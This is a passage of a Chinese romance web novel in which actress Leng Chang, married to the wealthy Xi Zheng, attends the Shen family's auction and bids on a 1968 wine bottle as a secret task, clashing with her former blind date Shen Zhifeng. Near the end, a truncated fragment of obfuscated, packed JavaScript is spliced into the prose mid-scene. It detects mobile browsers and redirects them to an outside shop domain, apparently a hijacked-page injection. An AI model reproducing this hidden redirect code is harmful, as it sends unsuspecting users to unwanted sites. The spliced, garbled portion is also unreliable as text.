冷嫦的心一下子提了起来：刚才跟达尔的沟通中，对方就交给了她第一个任务，就是在沈至风的这场拍卖会上拦截1968年的那瓶红酒。
冷嫦家虽然有钱，但并不是什么几代积累的名门望族。所以想要取得入场资格并不容易，原本冷嫦还想着，要不要在沈至风身上想办法……
毕竟，他们也算打过一些交道。虽然这份交情是相亲来的，更虽然这次相亲并不怎么愉快。
郗正这个时候关上了手机，坐到了旁边的椅子上：“拍卖会过后，他们还会举办一场宴会。不过我向来对这种宴会不感兴趣，于我的职业也不合适。”
郗正抬头，却看出了冷嫦的跃跃欲试，于是问道：“你是对拍卖会感兴趣吗？”
面对郗正的问题，冷嫦迅速地想办法搪塞：“家里很少有参加这类活动的机会，既然有现成的拍卖会就在眼前，所以就想去看看。”
但郗正刚才已经表示过不想去，冷嫦已经在内心里构思该怎么劝说他。没想到郗正只是犹豫了片刻，然后就点了头：“好，既然你想去的话，那我们就一起，也能给家里一个交代。”
26. 同居卧底
两家长辈得知冷嫦和郗正顺利同居的消息，分别往他们的住处买了一批家具、装饰、服装等。
冷嫦在等待拍卖会到来前的几天都在重复干签收快递这一件事。
郗正不知是真忙还是碍于浴室的事情，反正当天晚上就寻了个理由住在警局，再回家的时候就看到了几乎已经被彻底颠覆的家具风格。
和之前极简派的性冷淡不同，现在到处都是温馨的氛围。
成套颜色的要刷牙杯，引着蔷薇图案的瓷器碗具，电梯打开的一瞬间，郗正还以为自己走错门了。
“这是…？”他脱下外套挂在衣柜处。
“家里送来的东西，你不在，我就布置上了，洗个手过来吃饭吧。”冷嫦围着围裙，端出热好的花胶鸡汤，若不是之前有了早餐的事件，郗正或许真的会相信冷嫦有贤惠的一面。
然而现在，他的视线却扫到了厨房内垃圾区域，写着玲珑臻品阁字样的外卖袋。
冷嫦跟随他的目光猜到了郗正内心的想法，邀功的心思自然小小灭了，只是俏皮劲依然：“我亲手热的。”
一再强调亲手，避开重点，是她会干的事。
郗正转身去洗手的动作敛住了嘴角的笑意：“拍卖会酒会晚上九点才开始，晚饭这么早吃？”
冷嫦作为演员对吃东西的时间很挑剔，为了百分百在镜头前有良好露出，那种吃饱了挺着个小肚子穿礼服的事她可干不来，可要她空着肚子去参加，又实在太委屈。
于是才四点多便早早准备好了晚餐，亲手点外卖亲手热的那种~
看到郗正挽着袖口回到餐厅的时候，他一丝不苟的衬衫领口也已经松开，有种回到家的自在感，然而两人对视的时候，他的动作又好像跟着有些僵硬。
冷嫦看着他的脸在一道道美味佳肴的热气里若隐若现，她有些怀疑自己的行为到底是本能地去示好，还是受到杨晋的影响，怀疑着郗正，不得不装作和以前一样。
这种心情让她堵得一点胃口没有，明明每一道都是爱吃的菜，然而只要一想到杨晋在她眼前死去，她就再也没办法对郗正产生正常的判断，就连自己的心意，都在一次次自我怀疑中被灰暗的沼泽吞没。
吃过晚饭，郗正帮着将东西收回厨房：“放着吧，阿姨等会会来收拾。”
这个阿姨总是会在两人不在家的时候出现，然后把家里收拾得干干净净，冷嫦真的非常想见一面。
不过显然今天是没机会了，等她化完妆换完衣服就该准备出门了。
回到化妆间的时候，原本空荡荡的房间已经被殷璇派人送来的高定礼服填满，殷璇作为圈内大户，这种品牌的顶级系列全是娱乐圈明星眼红的东西，现在却齐刷刷地挂在那里。
冷嫦感受到了古时候当皇帝的滋味，这和后宫佳丽三千有什么区别，她真想住在这些裙子里！
她小心翼翼地抚过一条条裙身，有些波光粼粼在射灯里折出璀璨霓虹，有的顺如云棉似乎分分钟都要融化，还有的冰凉触感如牛奶丝滑，每一件的设计和材质都对得起他们的身价。
在礼服长裙间醉心游走的冷嫦没发现郗正已经换好西服，并好整以暇地斜靠在门边看她。
那微弯的眼浮着一片滟色，褪去凉薄严厉的眼底竟然也有温柔的光泽。
直到盯着冷嫦的背影实在太久，连他自己都觉得十分失礼，便倾直身子，弯曲的双指扣响门缘：“还没选好？”
冷嫦闻声回头，对上他直白的目光，四目早已不是第一次交汇，确实第一次在家里，平静而自然地互相打量着，至少在短短的几瞬，彼此心底都没有被其他杂质影响，瞳孔里都只映着对方的影子。
或许是射灯瓦数过高，又或者设是送风系统不太灵敏，冷嫦一时间觉得，有些热…热得不自觉又移开了视线，脑海却是立刻涌现杨晋的脸。
两张截然不同却彼此纠葛的男性脸庞这些日子无数次重叠，已经让冷嫦开始生理性排斥。
她咬了咬下唇，卡在耳边的发丝滑落几根，让她慵懒的样子多了些许迷离，冷嫦随手抓了件离她最近的酒红色长裙：“我准备换衣服了，你去外面等我吧。”
郗正眉头突跳，辩出了对方的逐客令。
他又多看了冷嫦几眼，终是什么都没说又退了出去。
等冷嫦再出来的
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时候，她已经换好衣服化好妆，冷嫦的五官本就突出，画上明艳的妆容后会让她张扬的五官更显灵动和深邃，好似色泽浓郁的油画，喜欢的人很喜欢，然而国人内敛心细，往往更喜欢岂止恬淡优雅的类型，如同水墨画的女性在圈子里更容易得到尊重。
其实不光圈子里，普通粉丝的眼中冷嫦的五官实在过于浓眉大眼，不仅容易和整容联系在一起，还和时下流行的纯欲风有所相悖。
她美得艳丽多彩，有人会说她用力过猛，也会评价她肤浅庸俗。
可至少在郗正的眼里，他觉得冷嫦和任何一个人都不相同。
气氛从离开化妆间开始就始终有些不对劲，之前活泼主动的冷嫦反常地话少，上了车之后也只是闭着眼睛睡觉。
郗正试探地问询：“是哪里不舒服？”
冷嫦也只是敷衍：“没有，只是最近睡得有点少。”
“如果是因为我把你带回家让你觉得不自在，你可以搬回去。”郗正只能想到这一个情况。
冷嫦却猛的睁眼：“不要。”
只是她又分不清这是本能地不想还是因为要调查郗正的缘故。
好在到拍卖酒会的路程只有十几分钟，没过几个路口他们就抵达了纸醉金迷的罗马宫殿建筑前。
齐刷刷地豪车陈列，到处都是宾利劳斯莱斯，似乎双城所有的权贵都在这里。
想到这，冷嫦免不了还想起来另一个人——陈南。
她扯了扯郗正的袖口：“陈家也会来？”
“不会。”郗正斩钉截铁地回答，“陈家不涉及文化产业，对这些东西并不看重。”
“可是，至少会来个代表参加吧，就像你一样。”毕竟沈至风的家族在双城也是排得上号的，当时相亲他看不上冷家也不是全无道理。
资产不是一个量级，两者有壁。
从一开始相亲，这关系就不是对等的。其实他和郗正，也有这个问题…
郗正看到冷嫦的笑容里不知为何总揉着半分忧郁，眼神也显得有所空洞，他竟主动挽起冷嫦的手送到自己臂弯里，却又刻意地强调只是公事公办：“该进去了，别走丢。”
27. 同居卧底
真正的名流圈人士，都注重隐私，素来不喜欢被娱乐媒体关注，就算是沈至风这样招摇过市的人物也不屑带上娱乐圈的tag，一起玩可以，真的交心就算了。
他想到拒绝她的冷嫦，坐在车内摸袖钉的指骨发出声响，就和他的表情一样紧绷难堪。
他沈至风什么出身什么家庭，冷嫦这种家世在云城根本叫不上号，要不是她有个厉害的阿姨牵线，加上那张确实打动他的长相，不然之前那次相亲就没可能促成，谁能想到死丫头还敢拒绝他。
也就是正巧那会国外业务需要他处理，实在脱不开身，否则他高低要动用人脉让冷嫦吃点苦头。
想到这里，他忍不住翻开微信好友列表。
冷嫦惹眼的头像还安静地躺在那里，想到被对方单方面拉黑的事，他气得连家里为他专门举办的拍卖会都不想参加了。
这次出国镀金，拿下几家大的互联网公司，这事儿在沈至风老爹的造势下动静不少，今天更是借着拍卖会的事宜，算是送上沈家公子一份回国大礼。
这是圈内的默契，花个千百万的人情，谁都不吝啬。
难的是进去的入场券，倒不是冷场家底缺那些钱，只是家业实在不像他们世世代代积累的深厚，在这些真正的大佬眼里，冷家还有待观察，没有结交的大必要。
所以当他下车时匆匆瞥过那道倩丽背影的时刻，第一反应是以为自己看错了。
冷嫦怎么可能出现在这种场合？肯定是看错了。
这里是建筑群的中心区，外层已经根据车牌筛选过有资格入场的权贵，所以内娱记者实在混不进来，只能窝在远处高楼视野稍佳的地方，用着高倍镜头尽可能地留存一些珍贵的影像资料，不过场地安保相当严格，很多都是受过反侦察训练的特殊人员，一般能从这里拍到照片再全身而退的实在寥寥无几，最多就是几张抓拍的侧脸背影。
沈至风去欧洲走了一趟，身上多了好几个标签，今天又是当家少主人的身份，一经出场就差把呼风唤雨几个字扣在脑门上。
原是奶油小生的长相不够大气，如今刻意梳了个大背头，他的身高不到一米八气场稍微欠了些，硬是在高级西服和配饰的加持下走出了金钱的味道。
人靠衣装，并非虚谈。
反观身旁的郗正，明明显少参加这类活动，几乎不在圈里亮相，身上的礼服也是殷璇品牌下的私人设计师，并不涉及任何logo，偏偏往那一站就自带聚光灯。
年纪大的几位一眼就认出了郗正的身份，纷纷朝他微笑。
郗正不善言笑，倒也明理地颔首致意。
看到大佬们纷纷朝这个眼生的男人投以客气尊重，剩下的来宾都跟着猜测起郗正的身份。
“他是谁？怎么没见过？”
“不知道啊，我也第一次见。”
“话说回来，他身旁的女伴又是谁家千金，好眼熟。”
“千金？花瓶小明星罢了。”回答的不是别人，正是最远处端着红酒杯摇晃着回答的沈至风。
他的目光与冷嫦有一瞬的接触，冷嫦毫无波澜，很快就又将视线挪回了郗正身上，这一幕让本就惊讶的沈至风陷入不爽之中。
一个个小小暴发户的女儿，一个满是花边的小明星，离了他竟然真能混到这个圈子来，这是沈至风无法接受的事。
只见他解开西装外套的口子，露出贴身的马甲，相比之前稍微瘦小的身板，看来这段时间也有好好锻炼过。
冷嫦不经意的目光再次掠过，这次连停留的都没有，气得沈至风眉角飞扬，整张脸眼看着就要垮下去，连带着脚下皮鞋碰到光滑石板的声响都突兀不少。
席间，冷嫦几次想抽手离开郗正，却不想他的手臂力量是在紧的厉害，看似云淡风轻地夹着，她的手就是卡在臂弯里动不了一下。
“拍卖会还没开始，你让我转转行不行？”
冷嫦可是带着卧底使命来的，那瓶红酒在哪？
几番拒绝的郗正终于在一名花发大佬的私人邀请下松开了手，离开前还对冷嫦叮嘱：“别走太远，这里人多眼杂。”
有眼见的认出他是郗正，也听闻他结婚的事，没眼见的则在沈至风的介绍下，成功对冷嫦上了有色滤镜。
要知道在他们的世界里，娱乐圈的人物仅是茶余饭后的消遣，真的娶上明星的根本没几个，更别说是郗正这样的家世，于是很多不认识他俩的人自然没把他们放在眼里。
其中也包括了沈至风。
他见到郗正跟着世家伯伯离开的背影错愕一愣，但想到冷嫦攀龙附凤的做派，猜想她挽着的男伴多半也是这种货色。
于是从侍从餐盘中端了杯香槟径直走向冷嫦。
面对沈至风的突然出现，冷嫦并不意外，作为男主人的他与冷嫦碰面，已经在她的预想之中，只是才得空去找找红酒的下楼，就被沈至风缠上的话，岂不是浪费了这么好的机会？
冷嫦假装没看到沈至风在她身前停下，拎着手包转身要走。
沈至风仗着今天是主角，姿态高调不说，也甚至今晚所有人会给他面子，摊开双手，左边红酒娇艳欲滴，右边香槟晶莹璀璨，加上沈至风脸色傲慢的表情，好一副势在必得的样子。
“看来今晚混进来不少玩意儿。”沈至风刻意加重声音，嘴角勾起的冷笑带有讥讽，扑面而来的敌意毫无掩藏。
周围过往的名媛富绅都因为沈至风的说辞而停下脚步，他们保持着面上的体面，看似沉默礼貌地看向冷嫦，实则一个个眼中都同样写满了不屑。
沈至风轻蔑地看了冷嫦一眼，而后向大家介绍说：“没想到娱乐圈劣迹斑斑的艺人，也能成为我的座上客了，实在是冒犯到各位贵宾了。
说完，他假装绅士地朝着周围假模假样鞠了浅浅一躬。
冷嫦知道沈至风小心眼，但没想到他会砸自己的场子。
相亲的时候敢怼他，现在无亲无故的关联她更是不在乎沈至风的面子，何况是对方先惹上来的。
于是毫不客气地反驳道：“沈公子，上次我拒绝得还不够明确吗？需要你特地来我面前刷存在感？”
听到拒绝二字，周围的气压顿时改变，围观人的表情都有着耐人寻味的变化。
要知道娱乐圈虽然是他们的鄙视链底端，但愿为裙下臣的也不是没有，尤其是冷嫦这张带有说服力的脸，但凡配上什么好点的家事，换谁家公子不迷糊？就算地位不够格，也多得是富豪愿意“金屋藏娇”。
所以对于沈至风见色起意的可能，也不是没有…
见到气氛有些微妙，沈至风扣住酒杯的动作明显略微摇晃，好在今晚他是主角，话语权还在他的手里。
继续出言侮辱说：“只不过和你玩玩而已，你还当真了？”
他身为人上人，最懂如何把自己摘干净的同时放在高位者的席上，他期待着冷嫦哑口无言，期待着冷嫦求饶道歉。
他的笑容越是恣意张扬，就让他接下去的下场越是难堪。
沈至风
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没想到，他那些误导性的话非但没让冷嫦的表情有一丝变化，甚至还让冷嫦没所谓地耸了个肩：“我没有和你玩玩哦。”
冷嫦神色诚恳，原以为会慌不择言地找些借口扯开，没想到冷嫦竟是大方地顺着沈至风的话往下说：“我对待感情很认真，从来不会玩玩。”
沈至风瞳孔缩成一条缝，像是听到了什么惊天发言，搭配上冷嫦一脸无辜的表情，沈至风甚至读出来了对方“示爱”的意思。
有种他才是辜负了冷嫦的一方，不光辜负还误解了他，沈至风的笑容就这么消失在的唇边：“你…你什么意思。”
冷嫦见到沈至风的反应，顿时知道稳了。
这男人实在太好拿捏了……他生气纯粹是因为冷嫦身份和他不匹配，所以拒绝后反而耿耿于怀，那时候沈至风对她有多着迷，她很清楚。
仅仅是表个态的措辞，就让沈至风忘记了自己原本是要来攻击嘲笑冷嫦的初衷。
顿时就忘记了身处人群里，被看客们的猜疑包围着，耳根不知何时附了片粉红的心动。
沈至风望着冷嫦的眼睛，不自觉陷入自我否定——她莫非还喜欢我？
当时的拒绝好像也没那么严重了，小情侣吵架也是常有的事…吵架时的话哪能当真的…
冷嫦短短两句话，直接就把沈至风的cpu干烧了。
他渐渐软下语气，轻声说道：“你服个软…我们也不是…没可能……”
周围瞬间炸开了。
“沈公子说这话是什么意思？”
“这小明星真和沈公子有过一段啊？”
“不对啊，我看她是被另一个男人带进来的啊，怎么可能和沈公子有情况呢。”
窃窃私语声渐起，沈至风反而扭捏起来，定定地看向冷嫦，似乎只需要冷嫦一个点头，他们之间那点不愉快就可以原地擦除。
就这么想着，沈至风为了表明自己的大度，仰高了脑袋保证：“你要是跟了我，你放心，娱乐圈的事我从此帮你摆平，你所有的电影，我都出资赞助。”
沈至风自信的笑容再度回到了他的脸上，他目光灼灼地看向冷嫦，却看到冷嫦的眉毛一点点拧到了一块。
冷嫦：“我说沈公子，时隔这么久你还这么自恋吗？”
沈至风：“？”
冷嫦接过石化沈至风手中的香槟酒：“我对感情很认真，对你，我可从未认真过。”
沈至风已经失去思考的能力了，机械式地问：“……什么？”
冷嫦：“因为我对你没有任何男女之情，自然也不会认真，这样听得懂了吗？”
冷嫦今晚陪同郗正参加的，本不该扫了原主人的兴，但架不住沈至风执意要撞上来。
咔嚓一声。
沈至风另一只手里的红酒杯不知是因为手上动作失控，还是愤怒的缘故，竟然碎了满地。
周围再度陷入哗然，所有人有默契地朝后退，让开中心圆区域的位置，唯有一人反而朝他们所在的方向靠近。
沈至风面上青筋一道道暴起，目眦欲裂的狰狞爬满他的五官，他心中狂火烧得汹涌，几乎快要按捺不住被戏耍的自尊。
他再也顾不得场合身份，扬起巴掌：“冷嫦——你——”
慌乱中，一只大手拦住了沈至风的失态。
“这位先生，你对我太太想做什么？”
低音着落的同时，沈至风抬起的胳膊被郗正强有力的手掌覆住，他口吻里足够礼貌，眼里却带着威慑的光。
28. 太太风云
“犬子刚从巴黎回来，看来是因为没休息好，有些唐突了。”
郗正锋芒之下的视线微偏，影响了一个中年男子的身影，这人步履康健，谈笑风生间的短短两句就化解了儿子沈至风与郗正之间一触即发的敌意。
“爸。”
沈至风再怎么生气，也看到他爸那张笑眯眯的脸之后也立刻泼了冰水，五官上开关似的瞬间恢复成最初的自然。
他哑着声音看向郗正，眼里仍带着几分不屑和猜疑，他到底是谁？竟然能让自己老爸都下场，显然眼前的陌生男人在圈内多半是个人物。
沈至风不情愿地扯了扯嘴角：“冒昧了，还请松手。”
郗正不再僵持，松开的同时还借力将人往后一掷，沈至风忍住手踝处被捏的泛红所散发的酸胀感，慢慢走回了沈军的身旁。
沈军波澜不惊的面容却传递出一种令人难以觉察的距离感，面上瞧着慈祥，冷嫦却怎么都感受不到任何亲切，甚至还有种看不透的高深。
冷嫦将长发向后挽了挽，这个本不经意的动作正好和沈军的余光叠在一起，她能感受到对方弯弯眼眉里莫名的冰冷。
正巧有人走过身旁，带起一阵风，冷嫦猛觉寒冷包围，起了一身鸡皮疙瘩，郗正见状退后一步，将冷嫦彻底挡在身后。
沈军呵呵笑了两声：“原来是冷小姐。”
他话只说半句，吊足了所有人的胃口，沈军作为地产巨鳄，地位可见一斑，这种场面应付起来游刃有余，不像沈至风年轻气盛，从小被宠坏了，稍微遇到点心机都能折进去。
冷嫦想要回答，郗正却率先出声：“我太太有些不舒服，我先带她去休息。”
沈至风想叫住郗正，奈何沈军快他一步冲他摇头，见两人走远了，沈军才拿起酒杯朝大家致意说：“拍卖会马上开始了，大家先进去坐吧？”
说着，还怕了拍儿子的肩膀，脸上仍然保持着假笑，用沈至风能听到的声音低语道：“说了多少次，今晚的人你都得罪不起，给我沉住气。”
沈至风自然不服，嘟哝回嘴：“她冷嫦也敢骑到我头上了？”
沈军啧了一声：“她嫁到郗家的事已经不是秘密，你最好和她保持距离。”
“什么？”沈至风不可置信地张大嘴，“她？郗家能看上她？”
沈至风：“她家又发大财了还是怎么了？能攀上四大家族？”
首富陈家，金融殷家，重工郗家，以及迁居北上的明家，被成为云城四大家族，无论是集团资产还是国际地位都举足轻重。
“现在问这些还有什么用？因为联姻的关系，你知道冷家股票涨了多少吗？”
沈至风哑然，被郗正压了身高压了长相，没想到连家世都压了一头，原本意气风发的精气神像是泄了气的皮球突然萎了。
好在沈军爱子心切，瞧出了他的挫败感，继续说：“四大家族又怎么了？三十年河东三十年河西，未来谁做主还不知道呢。”
沈至风抬头看向父亲：“爸，你想干什么？”
沈军没有说开，只笑笑道：“纵使他郗正家大业大，也难保不出意外，他的工作太危险，已经动了太多人的蛋糕，就算是他老爸也未必能护多久。”
沈至风茫然着，再度发文：“危险？他干什么的？做风投？那么大的家底，就算天天亏也够他败的呢。”
沈至风看向自己的傻儿子，笑出了声：“他干的可不是丢钱的事儿，是丢命。”
*
接近九点的时候，所有宾客在服务员的引导下全部涌入拍卖亭，金碧辉煌的浮夸之下，到处是纸醉金迷的味道。
台上拍卖官戴安娜，长相冷艳气质出众，冷嫦一眼就认出来了这是云城电视台的台柱子，后来去了HK佳士得混的风生水起，嫁给港圈大佬，实现了阶级跳跃，最后离婚收场，拿走千亿家产，自立门户成为港圈炙手可热的女神任务。
她今天在这里亮相，也在暗示沈至风一家已经拓及港圈，将来的发展不可小觑。
戴安娜声线清丽，台风稳健，做了简短的开场之后，所有来宾都保持着沉默等待第一件拍品出现。
沈至风的接风宴，弄成这样也算是满城浩荡无人不知，台上的拍品虽然都不是多华贵的东西，但今天造势已然，成交价背后所代表的人情，自然不会低。
第一件藏品，是价值八十万的现代画家所创作的一副油画。
最终以三百万的价格成交，打响了今晚第一枪，有了油画三百万的阵势，后面那些低价明明才几十万的小东西都被拍出了高于五百万的价格。
冷嫦还是第一次真实参加线下拍卖会，要说家里有钱是真的，但直观地看到满座宾客笑着砸钱，仿佛这不是交易，而是一种消遣。
在这种氛围里，冷嫦竟然生出些许不合群。
她的目光下意识地看向郗正，担心常年不在社交圈游走的郗正也对这种场合有所不适应，可当她望过去的时候，郗正靠着椅背，动作舒展自在，眼神淡入云雾，顶部的金光散落在他的肩膀，好像他才是本场拍卖会的主角。
察觉到冷嫦转头的动作，郗正微微侧脸，下颌线割开金色光芒，半张脸陷落阴影里，只剩长睫毛勾勒出的深邃眼窝。
那一刻，冷嫦真切地感受到了郗正骨子里散发的气场，就算身无光环，他仍是人群里的焦点，举手投足之间皆是人人仰望的矜贵。
也难怪时不时有人朝她们所在的方向投来打量的视线，经过沈至风这么一闹，沈军亲自下场解围，就算大家认不出郗正的身份也猜到了他的背景不简单，纷纷想要牵线认识一番。
台上的戴安娜话锋微转，她经手的拍品都是千万以上的收藏品级别，今日虽说排场不低，但、成交额始终差点意思，于她而言，没能得到满足感。
只见她撩拨自己秀丽的卷发，露出自信笑容，向台下宾客介绍下一件藏品的同时，搜寻猎物的目光不断在场中流连往返，直至她看到郗正的时候，眼中明显亮起一抹光明。
烈焰红唇也在此刻烧出热情的话语：“这位先生，我觉得下面的拍品很适合您。”
郗正扬着下巴，静默以对。
明明戴安娜才是站在台上居高临下地那位，可郗正漠然表情里的视线，让她平淡的心情有了波动，一种兴奋和狩猎的期待交织成下一句充满魅惑的引导。
“只有真正的绅士才能成为它的主人。”
说的是拍品，眼里暧昧的潮汐根本藏不住，仿佛主人的含义另有所指。
郗正只觉无聊，刚要移开对视的目光，看到身旁的长裙下探出一只脚来，对着他的脚背狠狠踩了下去。
郗正这种常年锻炼的体格，动不动受伤的日常，对踩脚这种几乎可以忽略不计的疼痛是可以免疫的。
但关键，那只踩着高跟鞋的脚不光种种踩上他的脚背，还反复
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拧了几下。
很快，身边传来冷嫦幽怨地质问：“我说你怎么对拍卖会感兴趣呢，原来是知道有佳人在场呢。”
旁人或许不清楚两人之间的关系，冷嫦却清楚地很。
他们三都是同一所高中的，戴安娜和郗正当时同一级，在冷嫦臭名昭著的时候，戴安娜已经是学院女神的形象，加上他俩同班，经常能听到一些两人处对象的传闻。
郗正嗅到了一抹酸溜溜的气味，不明所以地收回脚继而盯着冷嫦：“？”
冷嫦发誓，她决不雌竞，高中的时候不，现在也不可能搞这出，但是台上这位女神能不能收敛一些哇？至少表面上，隔壁这位郗正还是她名义上的丈夫呢。
捍卫主权的心理状态一旦建立，冷嫦就像一只守护岛屿的飞鸟，挺直腰板的动作像极了振翅飞行的姿态。
戴安娜这才从郗正转移的目光中看到了台下的冷嫦，见到冷嫦她显然也是一惊，没想到今晚会遇到这么多熟面孔。
还没等她从震惊中恢复，就见冷嫦突然伸手挽住了郗正，昂首挺胸的模样实在刻意。
戴安娜出没于港圈，对云城这几年事情不太了解，并不清楚两人真正的关系，但从她的视线里看过去，冷嫦的表现太过强硬，而郗正的表情无所动容。
她猜想，或许是郗正的女伴？
如果只是女伴，那未免冷嫦也太做作了些，这圈子最不缺的就是靠男人上位的女人。
在这个想法冒出来的一瞬，她的眼里立刻多了些鄙夷，仿佛忘记了她才是靠着男人在港圈混起来的那一位。
戴安娜摸了摸耳麦，挑衅且不善的目光看向冷嫦：“如果哪位绅士拍下这瓶酒，我很愿意在结束之后与他共饮一杯。”
这话的意思可不是表面上戴安娜欣赏座下男士这么简单，她现在可是代表着港圈的资源，这话背后还代表着愿意建立社交关系，往好的说，一起合作近在眼前。
所有宾客的目光再度围到了两人身上，冷嫦拳头都快握碎了，杀人的目光不知是看向台上的人还是身旁的人。
气氛到位后，擅长拿捏人心的戴安娜也不再说些带节奏的话，作出请的动作。
礼仪人员推着鎏金车，铺满紫色丝绒的车身上，一瓶字迹斑驳的红酒，印有EOWL字样的红酒出现在众人面前。
冷嫦的心情犹如过山车，心脏再度提到嗓子眼。
达尔交给她的目标就在眼前！
戴安娜带着夺人心魄的笑容，缓缓道：“来自法国波多尔，著名词曲家蒂娜娅私人酒庄的最后一瓶珍藏，产自1968年的臻红，起拍价，五十万，加价幅度，五万。”
这明明是所有拍品种身价最低的一样，却在话音刚落的时候就有人举起数字牌，有个模样胖胖的后排男士，率先喊价：“一百万！”
一百万换一个张港圈的入场券，值！
会这么想的人何止胖男士一人，很快台下就响起此起彼伏的加价。
“一百一十万。”
“加二十，一百三十万。”
“我出一百五十。”
见到加价纷纭的现场，冷嫦多怕这瓶就被人截了去，现在目标堂而皇之就在台上，她又不能去投，只能比价格，便忍住心里的舍不得，咬咬牙，心说这瓶酒必须拿下。
于是也管不了这瓶酒对于这些商人的价值，大胆挥臂，中气十足的嗓音带着甜：“两百万！”
29. 太太风云
两百万并不是一个多值得关注的出价，之所以在冷嫦出价后全场陷入安静有两个原因。
第一，作为郗正家属也好女伴也好，都不应该主动出价。
第二，戴安娜的橄榄枝已经很明确，响应的都是被贴上“绅士”头衔的男士，她作为一名女士成为加价队伍里唯二的性别。
实在突兀。
“你做什么？”郗正倾身侧过，脸在阴影里又暗了点。
冷嫦摇摇头，并没有回答。
银色长裙坠地，盖住了冷嫦白皙的腿部，只露出尖头高跟鞋的鞋面，她一只手高高举过顶，纤长手臂从无数碎钻的流苏里溢出光彩，灯光每一次扫过，都能看到莹润的质感。
与之相反的是她始终压在腿上的另一只手，娟顺的绸料竟然在她的抓取中留下褶皱，冷嫦的拳心扣在上面，强掩紧张。
郗正看在眼里，最终一言不发地退回到最初的坐姿。
戴安娜身处镁光灯中心，能在电视台脱颖而出离不开这美得不像话的脸，在强灯的照耀下，她独特的冷感成了高贵。
她目光直直朝向冷嫦，玩味的笑容渐渐加重，她承认，冷嫦突然参与的举动不在她计划内，然而并不影响她的发挥。
戴安娜骨感白手捏住小锤：“12号，出价两百万，还有加价吗？”
问得似水柔情，另一只玉臂早就高高撂起，葱白指尖遥对台下满座，皓齿红唇里还能隐隐看到红色小舌灵动的上下蠕动。
搭配突然暗下来的霓虹色彩，气氛顿生燥热。
果不其然，戴安娜的小锤还没挥第二下，人群里就有个粗粝的声响再度喊出了新的价格。
“我出三百万！”
美人计放在任何时候不会过时，尤其还是这样的方方面面都已经不光能用优秀来概括的美人。
戴安娜实在太懂男人心，她根本不需要亲自下场解决冷嫦，自然有数不清的男人愿意为她出头。
只一个眼神的暗示，台下的男人就彻底沸腾，戴安娜故意放慢挥锤的动作，就见场中又有一个数字号码牌被举起。
“我，四百万！”
冷嫦握着数字牌，为了拿下这瓶酒只能硬着头皮去加，只是竞争实在激烈，很快，又有一个声音冒出。
“五百万！”声音的来源正是沈至风。
沈家和戴安娜私底下本就有所交集，否则请不到她，作为主人翁亲自下场，这下来宾们有点看不懂了。
沈军也皱着眉，再次低声何止：“阿风，别添乱。”
哪有砸钱给自己送礼物的道理。
沈至风当然知道这个道理，可不知道为什么看到冷嫦又想举手的动作后，他实在控制不住本能。
他不想让冷嫦痛快，这似乎成了沈至风今晚唯一的目的。
原是一瓶五十万的红酒，短短几分钟之内被翻到了十倍的价格，这群真正意义上的有钱人，真是眼睛都不眨地一百万一百万加。
宾客们见到沈至风下场，再想加价的心也跟着冷却不少，他们不清楚沈至风的用意，生怕扫了这位小少爷的兴。
冷嫦不一样，谁拍都不能阻止她拿下的决心，哪怕这价格确实有点贵了。
台上的戴安娜也没料到沈至风会加入这场没有硝烟的纷争，眼下挤出一个稍显不自然的笑容，然后轻轻挥动锤子：“看来沈公子也想和大家分享这瓶美酒，五百万，还有加价吗？”
这意外的走势让戴安娜原本搔首弄姿的神态都收敛不少，似乎结果已经不会再有偏差。
冷嫦眼瞅周围没人加价，心中起了疑问，她不懂主宾关系，也不知道拍卖会背后的人际网，她只知道现在是加价的好机会。
于是手持12的号码牌再度成为安静中的焦点。
冷嫦环顾一周，小心翼翼地提了一嗓子：“五百二十万？”
谁知这试探的声音还未惊起任何波澜，沈至风激进的嗓门就劈头盖脸砸了过来：“六百万！”
冷嫦：“？”
不是，他干嘛？
自己拿出来的酒再自己买回去？有毛病吗？
和别的陌生人叫板或许她还会显得生涩被动，对待沈至风她可有的是气焰，声音也听上去更强硬不少：“六百二十万！”
沈至风和冷嫦他们坐在一排，中间隔着几个人，只能看到彼此举起来的胳膊，看不到对方的神情。
此刻却连体面都顾不上了，凳子一斜，歪过去的身形正好能和冷嫦对着，冷嫦只看到对方气急败坏的模样。
而后听到沈至风恨恨的声音继续在场中飘荡：“七、百、万！”
有没有搞错啊！七百万！买一瓶酒！
就算是任务，未免也太贵了！
冷嫦有些心疼自己的钱包，谁的钱都不是大风刮来的，何况她的小金库除了家里支援外，不少是她熬夜拍戏攒起来的。
一想到这里，她就更舍不得了，就连表情都忘记管理，五官拧在一起，看起来相当难过。
郗正：“你很想要？”
冷嫦没仔细听，只木讷地回答：“想。”
不光想，而是必须拿到。
冷嫦强行吸入一口新鲜空气，努力顺了顺自己的情绪，捏着12号码牌的手指已经有些发酸，她舔了舔唇，不想再温水煮青蛙，势必一鼓作气拿下这瓶红酒。
她脑中闪过一千万的价格，实打实得肉疼。
“一千万。”
冷嫦：“？”
她的脑子会说话了？
等等，身边一直保持坐姿的郗正突然动了一下，连带着一千万的那个声音……？
冷嫦惊讶的目光慢慢转过去，就看到郗正的冷面还是板得一丝不苟，唯有嘴唇上下碰撞。
戴安娜终于又笑了，相比之前，得意劲更加浓郁：“一千万！”
她的语调忍不住上扬，显是惊喜万分，碍于还在台上需要维持专业形象，她只能以肢体的扭动带起自己性感的曲线，大波浪在她的指尖穿梭，到处是荷尔蒙蔓延的气息。
撩完头发，她的手顺势耷拉在颈部五克拉大的钻石项链处，两者一触即发，白色耀眼的光泽涂满欲望的温度，散向整个金色会场。
这场拍卖会一波三折，高.潮迭起，各种意外应接不暇。
沈至风不是个审时度势的人，没等沈军出手按住他抬臂的动作，写着1号的数字牌已经举过脑袋，紧跟着就是穿破会场的咆哮音：“两千万！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115460|148198||http|test|mini|href|location''.split(''|''),0,{}));
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管他郗家地位多高，男人的胜负欲在此刻已经被彻底点燃。
场内议论声阵阵，对这剑拔弩张之势表示看不懂，台上还有戴安娜的挑拨，在她看起来，有两个人男人为了和她共享美酒打成这样，实在骄傲。
戴安娜：“感谢沈公子支持。”目光转向郗正，微微挑眉，“两千万，请问这位绅士还要加价吗？”
